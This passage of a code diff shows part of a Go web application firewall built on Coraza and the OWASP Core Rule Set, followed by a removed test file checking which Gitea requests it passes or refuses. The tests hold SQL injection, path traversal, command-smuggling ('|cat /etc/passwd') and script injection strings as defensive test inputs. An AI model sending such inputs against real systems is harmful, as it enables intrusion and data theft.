tx := c.engine.NewTransaction()
|
||||
// Closing would remove the files Coraza wrote, and it writes none.
|
||||
defer func() { _ = tx.Close() }()
|
||||
|
||||
tx.ProcessConnection(client.String(), 0, "", 0)
|
||||
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
||||
|
||||
for name, values := range r.Header {
|
||||
for _, value := range values {
|
||||
if name == "Cookie" {
|
||||
value = withoutCookiesNotRead(value)
|
||||
if value == "" {
|
||||
continue // it held those cookies alone
|
||||
}
|
||||
}
|
||||
|
||||
tx.AddRequestHeader(name, value)
|
||||
}
|
||||
}
|
||||
|
||||
// Go's server takes these two out of the headers.
|
||||
tx.AddRequestHeader("Host", r.Host)
|
||||
|
||||
for _, encoding := range r.TransferEncoding {
|
||||
tx.AddRequestHeader("Transfer-Encoding", encoding)
|
||||
}
|
||||
|
||||
tx.ProcessRequestHeaders()
|
||||
|
||||
read, err := c.readBody(tx, body)
|
||||
|
||||
// This reads the body in memory and runs the rest of the rules, and
|
||||
// cannot fail.
|
||||
_, _ = tx.ProcessRequestBody()
|
||||
|
||||
var ids []int
|
||||
|
||||
for _, matched := range tx.MatchedRules() {
|
||||
// The rules that look for attacks have a severity; the others set
|
||||
// the Core Rule Set up and add up the score.
|
||||
rule := matched.Rule()
|
||||
if rule.Severity() != types.RuleSeverityUnset {
|
||||
ids = append(ids, rule.ID())
|
||||
}
|
||||
}
|
||||
|
||||
return Result{RuleIDs: ids, Score: score(tx)}, read, err
|
||||
}
|
||||
|
||||
// readBody reads body, the body of the request in tx, which has run on
|
||||
// the request's headers, while SWW_WAF_BODY_LIMIT is set and the body is
|
||||
// of a kind the Core Rule Set reads: form data and multipart, of which it
|
||||
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
|
||||
// when they are no longer than that, since they cannot be read in part.
|
||||
// readBody reads one byte past the limit, to tell which they are, gives
|
||||
// the Core Rule Set what it reads, and returns what it read and the error
|
||||
// that ended the reading early, if one did.
|
||||
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
|
||||
if c.bodyLimit == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
inPart := false
|
||||
// How the body is read is a variable of the transaction, which only
|
||||
// Coraza's interface for plugins reads.
|
||||
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
||||
|
||||
switch state.Variables().RequestBodyProcessor().Get() {
|
||||
case "URLENCODED", "MULTIPART":
|
||||
inPart = true
|
||||
case "JSON", "XML":
|
||||
default:
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
|
||||
|
||||
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
|
||||
// Coraza holds what it reads of the body in memory, up to the
|
||||
// limit, so this cannot fail.
|
||||
_, _, _ = tx.WriteRequestBody(read)
|
||||
}
|
||||
|
||||
return read, err
|
||||
}
|
||||
|
||||
// score returns the anomaly score the Core Rule Set added up in tx, a
|
||||
// transaction it has run, or 0 if a rule that adds it up is switched off.
|
||||
func score(tx types.Transaction) int {
|
||||
// The score is in a variable of the transaction, which only Coraza's
|
||||
// interface for plugins reads.
|
||||
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
||||
|
||||
values := state.Variables().TX().Get("blocking_inbound_anomaly_score")
|
||||
if len(values) == 0 {
|
||||
return 0
|
||||
}
|
||||
|
||||
n, _ := strconv.Atoi(values[0])
|
||||
|
||||
return n
|
||||
}
|
||||
|
||||
// withoutCookiesNotRead returns value, a Cookie header's, without the
|
||||
// cookies in cookiesNotRead.
|
||||
func withoutCookiesNotRead(value string) string {
|
||||
var kept []string
|
||||
|
||||
for cookie := range strings.SplitSeq(value, ";") {
|
||||
name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=")
|
||||
if !slices.Contains(cookiesNotRead, name) {
|
||||
kept = append(kept, cookie)
|
||||
}
|
||||
}
|
||||
|
||||
return strings.Join(kept, ";")
|
||||
}
|
||||
@@ -1,882 +0,0 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off
|
||||
// by default.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
|
||||
|
||||
// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
|
||||
// the rules in disabled switched off.
|
||||
func newCoreRuleSet(t *testing.T, level int, disabled ...int) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
crs, err := coreruleset.New(coreruleset.Params{
|
||||
ParanoiaLevel: level, DisabledRules: disabled,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("load the Core Rule Set: %v", err)
|
||||
}
|
||||
|
||||
return crs
|
||||
}
|
||||
|
||||
// request is a request a test inspects: its method, its target, the path
|
||||
// and the query as a client sends them, and its headers, each written
|
||||
// "Name: value".
|
||||
type request struct {
|
||||
method, target string
|
||||
headers []string
|
||||
}
|
||||
|
||||
// get is a GET request for target with headers.
|
||||
func get(target string, headers ...string) request {
|
||||
return request{http.MethodGet, target, headers}
|
||||
}
|
||||
|
||||
// inspect returns what crs finds in r, sent to git.example by a browser,
|
||||
// whose Host, User-Agent and Accept r.headers may replace.
|
||||
func inspect(t *testing.T, crs *coreruleset.CoreRuleSet, r request) coreruleset.Result {
|
||||
t.Helper()
|
||||
|
||||
result, _ := inspectBody(t, crs, r, "")
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// inspectBody is inspect for r with body, which is announced with its
|
||||
// Content-Length unless it is "", and returns what crs read of body too.
|
||||
func inspectBody(
|
||||
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
|
||||
) (coreruleset.Result, string) {
|
||||
t.Helper()
|
||||
|
||||
req := httptest.NewRequestWithContext(t.Context(), r.method,
|
||||
"http://git.example"+r.target, strings.NewReader(body))
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
||||
"Gecko/20100101 Firefox/131.0")
|
||||
req.Header.Set("Accept", "text/html")
|
||||
|
||||
if body != "" {
|
||||
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
||||
}
|
||||
|
||||
for _, header := range r.headers {
|
||||
// Go's server keeps Host and Transfer-Encoding out of the headers.
|
||||
name, value, _ := strings.Cut(header, ": ")
|
||||
switch name {
|
||||
case "Host":
|
||||
req.Host = value
|
||||
case "Transfer-Encoding":
|
||||
req.TransferEncoding = []string{value}
|
||||
default:
|
||||
req.Header.Set(name, value)
|
||||
}
|
||||
}
|
||||
|
||||
result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
||||
if err != nil {
|
||||
t.Fatalf("read the body: %v", err)
|
||||
}
|
||||
|
||||
return result, string(read)
|
||||
}
|
||||
|
||||
// wantResult checks what crs finds in r.
|
||||
func wantResult(
|
||||
t *testing.T, crs *coreruleset.CoreRuleSet, r request, want coreruleset.Result,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
|
||||
t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
|
||||
}
|
||||
}
|
||||
|
||||
// matched is the result of a request that the rules ids match, each of
|
||||
// them a critical one, which adds 5 to the score.
|
||||
func matched(ids ...int) coreruleset.Result {
|
||||
const critical = 5
|
||||
|
||||
return coreruleset.Result{RuleIDs: ids, Score: critical * len(ids)}
|
||||
}
|
||||
|
||||
// atDefaults returns the Core Rule Set as sww runs it by default.
|
||||
func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
return newCoreRuleSet(t, 1, defaultDisabledRules...)
|
||||
}
|
||||
|
||||
// wantChange checks that crs lets through passes, a request one of the
|
||||
// nine changes is for, and still finds result in refused, a request like
|
||||
// it that the change is not for.
|
||||
func wantChange(
|
||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||
result coreruleset.Result,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
wantResult(t, crs, passes, coreruleset.Result{})
|
||||
wantResult(t, crs, refused, result)
|
||||
}
|
||||
|
||||
func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, r := range []request{
|
||||
{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
|
||||
{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
|
||||
{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
|
||||
} {
|
||||
wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
|
||||
}
|
||||
|
||||
wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
|
||||
}
|
||||
|
||||
func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
pushType = "Content-Type: application/x-git-receive-pack-request"
|
||||
fetchType = "Content-Type: application/x-git-upload-pack-request"
|
||||
length = "Content-Length: 1024"
|
||||
push = "/owner/repo.git/git-receive-pack"
|
||||
fetch = "/owner/repo.git/git-upload-pack"
|
||||
)
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
wantResult(t, crs,
|
||||
request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
|
||||
coreruleset.Result{})
|
||||
wantResult(t, crs,
|
||||
request{http.MethodPost, fetch, []string{
|
||||
fetchType, length, "Content-Encoding: gzip",
|
||||
}},
|
||||
coreruleset.Result{})
|
||||
|
||||
// Every other header on the Core Rule Set's list stays refused.
|
||||
for _, header := range []string{
|
||||
"Proxy: http://proxy.example",
|
||||
"Lock-Token: token",
|
||||
"Content-Range: bytes 0-1023/1024",
|
||||
"If: token",
|
||||
"X-HTTP-Method-Override: DELETE",
|
||||
"X-HTTP-Method: DELETE",
|
||||
"X-Method-Override: DELETE",
|
||||
"X-Middleware-Subrequest: middleware",
|
||||
} {
|
||||
wantResult(t, crs,
|
||||
request{http.MethodPost, push, []string{pushType, length, header}},
|
||||
matched(920450))
|
||||
}
|
||||
}
|
||||
|
||||
func TestTransferEncodingIsRead(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// git sends a large push in chunks, with no Content-Length. Without
|
||||
// Transfer-Encoding, that would be a POST without a length (920180).
|
||||
wantResult(t, atDefaults(t),
|
||||
request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
|
||||
"Content-Type: application/x-git-receive-pack-request",
|
||||
"Transfer-Encoding: chunked",
|
||||
}},
|
||||
coreruleset.Result{})
|
||||
}
|
||||
|
||||
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const attack = "id=1'%20OR%20'1'='1"
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
// Coraza keeps 1000: an attack that is the 1000th is read, and one
|
||||
// after it is not, but the request is a match all the same.
|
||||
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
|
||||
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
|
||||
|
||||
// So it is with the fields of a form data or JSON body.
|
||||
crs = readingBodies(t)
|
||||
|
||||
for _, tc := range []struct{ header, body string }{
|
||||
{formData, strings.Repeat("a=1&", 999) + attack},
|
||||
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
|
||||
} {
|
||||
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
|
||||
}
|
||||
|
||||
for _, tc := range []struct{ header, body string }{
|
||||
{formData, strings.Repeat("a=1&", 1000) + attack},
|
||||
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
|
||||
} {
|
||||
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
|
||||
get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
|
||||
wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
|
||||
get(oauth+"next=http://localhost:52341/"), matched(934110))
|
||||
}
|
||||
|
||||
func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, value := range []struct {
|
||||
name string
|
||||
// result is what a parameter that is not one of gitea's gets.
|
||||
result coreruleset.Result
|
||||
}{
|
||||
// A file on the list of system files.
|
||||
{".gitignore", matched(930120)},
|
||||
// A command's name, after a directory on the list of shell paths.
|
||||
{"bin/docker-entrypoint", matched(932260, 932160)},
|
||||
} {
|
||||
for _, parameter := range []string{
|
||||
"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
|
||||
"artifactName", "redirect_to",
|
||||
} {
|
||||
wantChange(t, crs, get("/?"+parameter+"="+value.name),
|
||||
get("/?q="+value.name), value.result)
|
||||
}
|
||||
}
|
||||
|
||||
// What only those rules refuse gets through there too, but path
|
||||
// traversal and SQL injection are still refused.
|
||||
wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
|
||||
matched(930120, 932160))
|
||||
wantResult(t, crs, get("/?path=../../etc/passwd"),
|
||||
coreruleset.Result{RuleIDs: []int{930100, 930110}, Score: 20})
|
||||
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
|
||||
}
|
||||
|
||||
func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
|
||||
wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
|
||||
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
|
||||
}
|
||||
|
||||
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
flash = "success%3DFile%2Bpackage.json%2Bdeleted"
|
||||
redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
|
||||
)
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
|
||||
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
|
||||
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
|
||||
get("/", "Cookie: redirect="+redirectTo), matched(930120))
|
||||
|
||||
// Among other cookies, which are read.
|
||||
wantChange(t, crs,
|
||||
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
|
||||
"; i_like_gitea=abc"),
|
||||
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
|
||||
"; i_like_gitea=abc"),
|
||||
matched(930120))
|
||||
}
|
||||
|
||||
func TestRefererIsNotCheckedForACommandOrJava(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
search = "https://git.example/explore/repos?q=env"
|
||||
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
|
||||
"java.base/share/classes/java/lang/Runtime.java"
|
||||
stringMD = "https://git.example/owner/repo/src/branch/main/java.lang.String.md"
|
||||
)
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
|
||||
matched(932340))
|
||||
wantChange(t, crs, get("/", "Referer: "+runtimeJava),
|
||||
get("/", "X-Page: "+runtimeJava), matched(944110))
|
||||
wantChange(t, crs, get("/", "Referer: "+stringMD), get("/", "X-Page: "+stringMD),
|
||||
matched(944130))
|
||||
|
||||
// It is still checked for script and SQL injection.
|
||||
wantResult(t, crs,
|
||||
get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
|
||||
matched(941110, 941160))
|
||||
wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
|
||||
matched(942100))
|
||||
}
|
||||
|
||||
func TestEmptyHeaderIsRead(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// An empty User-Agent is a notice, which adds 2.
|
||||
wantResult(t, atDefaults(t), get("/", "User-Agent: "),
|
||||
coreruleset.Result{RuleIDs: []int{920330}, Score: 2})
|
||||
}
|
||||
|
||||
func TestParanoiaLevel(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// Accept-Charset is refused from paranoia level 2.
|
||||
r := get("/", "Accept-Charset: utf-8")
|
||||
|
||||
wantResult(t, newCoreRuleSet(t, 1), r, coreruleset.Result{})
|
||||
wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
|
||||
}
|
||||
|
||||
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A method not allowed, and a Host that is an IP address, a warning,
|
||||
// which adds 3.
|
||||
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
|
||||
|
||||
wantResult(t, newCoreRuleSet(t, 1), r,
|
||||
coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8})
|
||||
wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
|
||||
}
|
||||
|
||||
func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
reuse := "?mount=sha256:0000&from=owner/python3-app"
|
||||
|
||||
wantChange(t, crs, get("/v2/owner/app/blobs/uploads/"+reuse), get("/upload/"+reuse),
|
||||
matched(932260))
|
||||
|
||||
// A command after the image's name is still refused.
|
||||
wantResult(t, crs,
|
||||
get("/v2/owner/app/blobs/uploads/?from=owner/app;cat%20/etc/passwd"),
|
||||
matched(930120, 932160))
|
||||
}
|
||||
|
||||
// withExclusions returns the Core Rule Set at the defaults, with the
|
||||
// exclusions file at path.
|
||||
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
||||
return coreruleset.New(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ExclusionsFile: path,
|
||||
})
|
||||
}
|
||||
|
||||
// exclusionsFile writes text to a file of exclusions and returns its path.
|
||||
func exclusionsFile(t *testing.T, text string) string {
|
||||
t.Helper()
|
||||
|
||||
path := filepath.Join(t.TempDir(), "exclusions.conf")
|
||||
|
||||
err := os.WriteFile(path, []byte(text), 0o600)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
return path
|
||||
}
|
||||
|
||||
// backupFileExclusion is an exclusions file that switches 920500, a rule
|
||||
// of phase 1, off for the path of a backup file under /files/.
|
||||
const backupFileExclusion = `SecRule REQUEST_FILENAME "@beginsWith /files/" ` +
|
||||
`"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME"` + "\n"
|
||||
|
||||
func TestExclusionsFileIsLoadedBeforeTheRules(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs, err := withExclusions(exclusionsFile(t, backupFileExclusion))
|
||||
if err != nil {
|
||||
t.Fatalf("load the exclusions: %v", err)
|
||||
}
|
||||
|
||||
wantChange(t, crs, get("/files/notes.txt~"), get("/notes.txt~"), matched(920500))
|
||||
}
|
||||
|
||||
func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs, err := coreruleset.New(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: []int{920500},
|
||||
ExclusionsFile: exclusionsFile(t, backupFileExclusion),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("load the exclusions: %v", err)
|
||||
}
|
||||
|
||||
wantResult(t, crs, get("/notes.txt~"), coreruleset.Result{})
|
||||
}
|
||||
|
||||
func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := withExclusions(exclusionsFile(t,
|
||||
"# 942100: GET /issues/900123\n"+backupFileExclusion))
|
||||
if err != nil {
|
||||
t.Errorf("the exclusions did not load: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
missing := filepath.Join(t.TempDir(), "missing.conf")
|
||||
|
||||
_, err := withExclusions(missing)
|
||||
if err == nil {
|
||||
t.Errorf("%s loaded", missing)
|
||||
}
|
||||
|
||||
for _, tc := range []struct{ text, want string }{
|
||||
{"SecNoSuchDirective On\n", "unknown directive"},
|
||||
// sww's own rules may not be switched off or changed, by
|
||||
// id or in a range, on one line or split over several.
|
||||
{"SecRuleRemoveById 899999-901000\n", "names 899999-901000"},
|
||||
{
|
||||
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-901000\"\n",
|
||||
"names 899999-901000",
|
||||
},
|
||||
{
|
||||
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-+901000\"\n",
|
||||
"names 899999-+901000",
|
||||
},
|
||||
{
|
||||
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=900500;ARGS:from\"\n",
|
||||
"names 900500",
|
||||
},
|
||||
{"SecRuleRemoveById 899000-\\\n 901000\n", "names 899000-901000"},
|
||||
{
|
||||
"SecAction \"id:1,phase:1,pass,nolog,\\\n" +
|
||||
" ctl:ruleRemoveById=9005\\\n 00\"\n",
|
||||
"names 900500",
|
||||
},
|
||||
// The Core Rule Set's rules load after the file.
|
||||
{"SecRuleRemoveById 942100\n", "SecRuleRemoveById in the exclusions file"},
|
||||
{
|
||||
"SecRuleUpdateTargetById 942100 \"!ARGS:id\"\n",
|
||||
"SecRuleUpdateTargetById in the exclusions file",
|
||||
},
|
||||
} {
|
||||
_, err := withExclusions(exclusionsFile(t, tc.text))
|
||||
if err == nil || !strings.Contains(err.Error(), tc.want) {
|
||||
t.Errorf("%q gave the error %v, want one with %q", tc.text, err, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
||||
// Each has the Referer of a page that names the same, as a page opened
|
||||
// from it has.
|
||||
func giteaRequests(t *testing.T) []request {
|
||||
t.Helper()
|
||||
|
||||
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []request
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
target, header, _ := strings.Cut(line, " ")
|
||||
|
||||
headers := []string{"Referer: http://git.example" + target}
|
||||
if header != "" {
|
||||
headers = append(headers, header)
|
||||
}
|
||||
|
||||
requests = append(requests, get(target, headers...))
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, r := range giteaRequests(t) {
|
||||
if got := inspect(t, crs, r); got.Score >= threshold {
|
||||
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
||||
}
|
||||
}
|
||||
|
||||
// In q too, off gitea's search pages.
|
||||
for _, parameter := range []string{"id", "q"} {
|
||||
for _, attack := range []string{
|
||||
"1'%20OR%20'1'='1",
|
||||
"..%2Fcustom%2Fconf%2Fapp.ini",
|
||||
"%3Cscript%3Ealert(1)%3C%2Fscript%3E",
|
||||
} {
|
||||
target := "/owner/repo?" + parameter + "=" + attack
|
||||
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
|
||||
const bodyLimit = 8 << 10
|
||||
|
||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
||||
const (
|
||||
formData = "Content-Type: application/x-www-form-urlencoded"
|
||||
multipart = "Content-Type: multipart/form-data; boundary=b"
|
||||
jsonBody = "Content-Type: application/json"
|
||||
xmlBody = "Content-Type: application/xml"
|
||||
)
|
||||
|
||||
// injection is an SQL injection, which rule 942100 matches.
|
||||
const injection = "1' OR '1'='1"
|
||||
|
||||
// readingBodies returns the Core Rule Set as sww runs it by
|
||||
// default, but reading bodies up to bodyLimit.
|
||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
crs, err := coreruleset.New(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("load the Core Rule Set: %v", err)
|
||||
}
|
||||
|
||||
return crs
|
||||
}
|
||||
|
||||
// post is a POST request for / with a body of the type contentType, a
|
||||
// Content-Type header, gives, and headers besides.
|
||||
func post(contentType string, headers ...string) request {
|
||||
return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
|
||||
}
|
||||
|
||||
// field is a part of a multipart body: the field name, holding value.
|
||||
func field(name, value string) string {
|
||||
return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
|
||||
value + "\r\n"
|
||||
}
|
||||
|
||||
// end ends a multipart body.
|
||||
const end = "--b--\r\n"
|
||||
|
||||
// padded returns head and tail with as many a's between them as make n
|
||||
// bytes in all.
|
||||
func padded(head, tail string, n int) string {
|
||||
return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
|
||||
}
|
||||
|
||||
// wantBody checks what crs finds in r with body, and that what it read of
|
||||
// body is read.
|
||||
func wantBody(
|
||||
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
|
||||
want coreruleset.Result,
|
||||
read string,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
got, gotRead := inspectBody(t, crs, r, body)
|
||||
if !reflect.DeepEqual(got, want) || gotRead != read {
|
||||
t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
|
||||
"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
|
||||
want, len(read))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
off, on := atDefaults(t), readingBodies(t)
|
||||
|
||||
for _, tc := range []struct{ header, body string }{
|
||||
{formData, "q=" + url.QueryEscape(injection)},
|
||||
{multipart, field("q", injection) + end},
|
||||
{jsonBody, `{"q":"` + injection + `"}`},
|
||||
{xmlBody, "<q>" + injection + "</q>"},
|
||||
} {
|
||||
wantBody(t, off, post(tc.header), tc.body, coreruleset.Result{}, "")
|
||||
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
pad := strings.Repeat("a", bodyLimit)
|
||||
|
||||
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
||||
{
|
||||
formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
|
||||
"pad=" + pad + "&q=" + url.QueryEscape(injection),
|
||||
},
|
||||
{
|
||||
multipart, field("q", injection) + field("pad", pad) + end,
|
||||
field("pad", pad) + field("q", injection) + end,
|
||||
},
|
||||
} {
|
||||
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
||||
tc.attackFirst[:bodyLimit+1])
|
||||
wantBody(t, crs, post(tc.header), tc.attackLast, coreruleset.Result{},
|
||||
tc.attackLast[:bodyLimit+1])
|
||||
}
|
||||
|
||||
// To the byte: a system file's path is found when it ends at the limit,
|
||||
// and not when its last letter is past it, which is still read.
|
||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
||||
wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
|
||||
|
||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
||||
wantBody(t, crs, post(formData), pastLimit, coreruleset.Result{}, pastLimit)
|
||||
}
|
||||
|
||||
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, tc := range []struct{ header, head, tail string }{
|
||||
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
||||
